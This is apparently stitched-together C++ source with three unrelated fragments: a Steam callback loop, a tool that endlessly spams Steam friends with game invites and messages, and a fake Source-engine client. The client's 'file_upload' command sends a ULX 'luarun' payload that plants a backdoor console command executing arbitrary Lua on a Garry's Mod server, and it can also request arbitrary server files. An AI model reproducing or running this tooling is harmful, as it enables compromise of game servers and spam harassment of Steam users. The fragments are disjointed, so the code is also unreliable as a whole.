void CLogger::CallbackHandlerThread() { for(; !this->TestDestroy(); this->Sleep(100)) { wxMutexLocker steamLock(m_steamLock); if(!m_hPipe || m_hPipe == -1) { if(!InitSteam()) continue; } static unsigned int i = 0; if(++i % 50 == 0) { // This dummy call will trigger the IPCFailure_t callback if Steam has been closed. if(m_pSteamUser) m_pSteamUser->BLoggedOn(); } CallbackMsg_t callbackMsg; while(Steam_BGetCallback(m_hPipe, &callbackMsg)) { switch(callbackMsg.m_iCallback) { case IPCFailure_t::k_iCallback: { IPCFailure_t* pIPCFailure = (IPCFailure_t*)callbackMsg.m_pubParam; OnIPCFailure(pIPCFailure); break; } case FriendChatMsg_t::k_iCallback: { FriendChatMsg_t* pFriendChatMsg = (FriendChatMsg_t*)callbackMsg.m_pubParam; OnFriendChatMsg(pFriendChatMsg); break; } case ChatRoomMsg_t::k_iCallback: { ChatRoomMsg_t* pChatRoomMsg = (ChatRoomMsg_t*)callbackMsg.m_pubParam; OnChatRoomMsg(pChatRoomMsg); break; } case ChatRoomDlgClose_t::k_iCallback: { ChatRoomDlgClose_t* pChatRoomDlgClose = (ChatRoomDlgClose_t*)callbackMsg.m_pubParam; OnChatRoomDlgClose(pChatRoomDlgClose); break; } } Steam_FreeLastCallback(m_hPipe); } } }
int main(int argc, const char *argv[]) { if (!argv[1] || !argv[2] || !argv[3] || !argv[4] || !argv[5] ||!argv[6] ||!argv[7]) { printf("USAGE: (STEAMID64 OR 0) msg connectstr steamstatus delay someip someport\n"); return 0; } char ipbuf[512]; strcpy(ipbuf, argv[6]); int ip = 0; ip = ip | (atoi(strtok(ipbuf, ".")) << 24); ip = ip | (atoi(strtok(0, ".")) << 16); ip = ip | (atoi(strtok(0, ".")) << 8); ip = ip | (atoi(strtok(0, "."))); int delay = atoi(argv[5]); InitSteam(); ISteamFriends015 *friends = (ISteamFriends015 *)steamclient->GetISteamFriends(g_hSteamUser, g_hSteamPipe, STEAMFRIENDS_INTERFACE_VERSION_015); CSteamID sid; sid.SetFromUint64(76561197960279927llu); steamuser->AdvertiseGame(sid, ip, atoi(argv[7])); bool notarget = atoi(argv[1]) == 0; bool nomsg = strlen(argv[2]) < 2; bool noinvite = strlen(argv[4]) < 2; CSteamID target; if ( !notarget ) { target.SetFromUint64((unsigned long long)_atoi64(argv[1])); } friends->SetRichPresence("status", argv[4]); friends->SetRichPresence("connect", argv[3]); int i = 0; while (true) { Sleep(delay); if (notarget) { CSteamID noobid = friends->GetFriendByIndex(i, k_EFriendFlagImmediate); if(!noinvite) friends->InviteUserToGame(noobid, argv[3]); if (!nomsg) { friends->ReplyToFriendMessage(noobid, argv[2]); } i++; if (i == friends->GetFriendCount(k_EFriendFlagImmediate)) { i = 0; } continue; } if(!noinvite) friends->InviteUserToGame(target, argv[3]); if (!nomsg) { friends->ReplyToFriendMessage(target, argv[2]); } } return 1; }
int main(int argc, const char *argv[]) { #ifndef _LINUX _CrtSetDbgFlag(_CRTDBG_CHECK_ALWAYS_DF); #endif if (!argv[1] || !argv[2] || !argv[3] ) { printf("Invalid Params: server clientport nickname [password]\n"); return 0; } serverip = new char[50]; parseip(argv[1], serverip, serverport);//and this is the point where you call me a retard for not using strtok unsigned short clientport = atoi(argv[2]); if (strnlen(argv[3], 2) != 0) { strcpy(nickname, argv[3]); } else { strcpy(nickname, "leysourceengineclient"); } if (strnlen(argv[4], 2) != 0) { strcpy(password, argv[4]); } else { strcpy(password, "leysourceengineclient"); } InitSteam(); printf("Connecting to %s:%i | client port: %hu | Nick: %s | Pass: %s\n", serverip, serverport, clientport, nickname, password); netchan->Initialize(); NET_ResetDatagram(); net.Start(); net.OpenSocket(clientport); net.SetNonBlocking(true); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)networkthread, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sendthread, 0, 0, 0); char input[255]; memset(input, 0, sizeof(input)); while (true) { std::cin.getline(input, sizeof(input)); for (unsigned int i = 0; i < strlen(input); i++) { if (input[i] == '<') input[i] = 0xA; } if (!strcmp(input, "retry")) { NET_Disconnect(); } if (!strcmp(input, "disconnect")) { NET_Disconnect(); exit(-1); } if (!strcmp(input, "voicemimic")) { voicemimic = !voicemimic; printf("Voice mimic: %i\n", (int)voicemimic); } if (!strcmp(input, "voicetoggle")) { voicetoggle = !voicetoggle; printf("Voice toggle: %i\n", (int)voicetoggle); } if (strstr(input, "connect ")) { memmove(input, input + strlen("connect "), sizeof(input)); parseip(input, serverip, serverport); printf("Connecting to: %s:%i\n", serverip, serverport); memset(input, 0, sizeof(input)); NET_Reconnect(); _sleep(100); continue; } if (strstr(input, "setcv ")) { memmove(input, input + strlen("setcv "), strlen("setcv")); char cv[255]; char var[255]; bool found_delimit = false; for (unsigned int i = 0; i < strlen(input); i++) { if (input[i] == ':') { strncpy(cv, input, i); strncpy(var, input + i, strlen(input) - i); cv[i] = '\0'; var[strlen(input) - i] = '\0'; found_delimit = true; break; } } if (!found_delimit) { memset(input, 0, sizeof(input)); continue; } printf("Setting convar %s to %s\n", cv, var); NET_ResetDatagram(); senddata.WriteUBitLong(5, 6); senddata.WriteByte(1); senddata.WriteString(cv); senddata.WriteString(var); NET_SendDatagram(false); } if (strstr(input, "file_download")) { char file[255]; bool found_delimit = false; for (unsigned int i = 0; i < strlen(input); i++) { if (input[i] == ' ') { strncpy(file, input + i + 1, strlen(input) - i - 1); file[strlen(input) - i - 1] = '\0'; found_delimit = true; break; } } printf("Requesting file: %s\n", file); NET_ResetDatagram(); static int requests = 100; senddata.WriteUBitLong(2, 6); senddata.WriteUBitLong(requests++, 32); senddata.WriteString(file); senddata.WriteOneBit(1); NET_SendDatagram(false); } if (strstr(input, "file_upload")) { char file[255]; bool found_delimit = false; for (unsigned int i = 0; i < strlen(input); i++) { if (input[i] == ' ') { strncpy(file, input + i + 1, strlen(input) - i - 1); file[strlen(input) - i - 1] = '\0'; found_delimit = true; break; } } printf("Uploading file: %s\n", file); NET_ResetDatagram(); GenerateLeyFile(file, "ulx luarun concommand.Add([[hi]], function(p,c,a,s) RunString(s) end)"); NET_SendDatagram(true); } if (strstr(input, "cmd ")) { memmove(runcmd, input + strlen("cmd "), sizeof(input)); continue; } if (strstr(input, "name ")) { memset(nickname, 0, sizeof(nickname)); memmove(nickname, input + strlen("name "), sizeof(input)); NET_ResetDatagram(); senddata.WriteUBitLong(5, 6); senddata.WriteByte(0x1); senddata.WriteString("name"); senddata.WriteString(nickname); NET_SendDatagram(false); printf("Changed name to: %s\n", nickname); continue; } memset(input, 0, sizeof(input)); _sleep(100); } net.CloseSocket(); return 1; }